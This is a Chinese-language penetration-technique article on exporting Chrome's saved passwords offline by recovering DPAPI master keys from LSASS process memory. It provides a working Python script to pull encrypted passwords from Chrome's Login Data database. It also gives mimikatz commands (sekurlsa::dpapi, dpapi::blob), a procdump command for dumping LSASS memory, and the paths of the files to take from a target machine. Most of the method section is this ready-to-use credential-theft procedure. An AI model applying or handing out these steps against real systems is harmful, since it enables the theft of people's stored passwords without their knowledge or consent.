渗透技巧——利用Masterkey离线导出Chrome浏览器中保存的密码
0x00 前言
在之前的文章《渗透技巧——离线导出Chrome浏览器中保存的密码》曾得出结论:使用用户的ntlm hash,无法导出Chrome浏览器保存的明文密码
。
而目前的Windows系统(如Windows Server 2012),默认无法导出用户的明文口令,只能获得ntlm hash。
也就是说,即使获得了系统的访问权限,如果无法获得明文口令,通过文章《渗透技巧——离线导出Chrome浏览器中保存的密码》介绍的方法还是无法离线(但可以在线)导出Chrome浏览器保存的明文密码。
本文将要介绍一种新方法,利用Masterkey离线导出Chrome浏览器中保存的密码,不需要获得用户的明文口令,并且得出新的结论。
0x01 简介
本文将要介绍以下内容:
- 基础概念
- 解密思路
- 导出方法
- 实际测试
0x02 基础概念
DPAPI:
全称Data Protection Application Programming Interface
DPAPI blob:
一段密文,可使用Master Key对其解密
Master Key:
64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中
Master Key file:
二进制文件,可使用用户登录密码对其解密,获得Master Key
0x03 DPAPI解密思路
1、定位加密的Master Key file
文章《渗透技巧——离线导出Chrome浏览器中保存的密码》曾得出结论:无法定位解密Chrome数据库对应的Master Key file
该结论有误,实际上能够对其定位,方法见0x04
2、从lsass进程提取出Master Key
此处换了一种思路,因此不需要用户的明文口令
注:
离线从Master Key file提取出Master Key,必须要获得用户的明文口令
3、使用Master Key解密DPAPI blob,获得明文
0x04 实现方法
测试系统:
Win7 x86
1、使用python读取数据库文件并提取出密文
使用python脚本读取Login Data并保存到文件中,代码如下:
from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
print (binascii.b2a_hex(result[2]))
f = open('test.txt', 'wb')
f.write(result[2])
f.close()
脚本执行后,提取Login Data中保存的密文,保存为test.txt
2、获得该密文对应的Master Key file
mimikatz命令如下:
dpapi::blob /in:test.txt
获得对应guidMasterkey为{a111b0f6-b4d7-40c8-b536-672a8288b958}
如下图
即Master Key file的路径为%APPDATA%\Microsoft\Protect\%SID%\a111b0f6-b4d7-40c8-b536-672a8288b958
3、从lsass进程提取出Master Key
(1) 在线方式
需要管理员权限
mimikatz:
privilege::debug
sekurlsa::dpapi
如下图
提取出Master Key为666638cbaea3b7cf1dc55688f939e50ea1002cded954a1d17d5fe0fbc90b7dd34677ac148af1f32caf828fdf7234bafbe14b39791b3d7e587176576d39c3fa70
(2) 离线方式
使用procdump dump出LSASS进程内存
procdump下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
管理员权限:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用mimikatz加载dmp文件:
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
注:
mimikatz从lsass进程提取出Master Key后,会自动将Master Key加入系统缓存
4、使用masterkey解密
mimikatz:
dpapi::blob /in test.txt
成功获得明文,如下图
数据正确,如下图
0x05 利用分析
本文介绍的方法是利用lsass进程还原出Master Key,因此不需要获取到用户的明文密码
同时,配合procdump,不需要在测试系统上执行mimikatz,只需要获得目标系统的两个文件:lsass进程的dmp文件和Login Data文件,在本地使用mimikatz还原出Master Key,解密获得明文
并且,不需要从System权限降权到当前用户权限
综上,离线导出的完整思路如下:
1、获得用户系统Chrome保存密码的SQLite数据库文件,位于%LocalAppData%\Google\Chrome\User Data\Default\Login Data
2、获得lsass进程的内存文件
3、在本地使用mimikatz提取Master Key,解密Login Data获得明文
0x06 最终结论
1、能够定位Master Key file
方法1:
mimikatz命令:
dpapi::blob /in:test.txt
方法2:
通过读取文件Preferred的前16字节获得对应的Master Key file
2、不需要用户明文口令也能离线导出Chrome浏览器中保存的密码
0x07 小结
本文介绍了如何利用Masterkey离线导出Chrome浏览器中保存的密码,相比于之前的方法,更加通用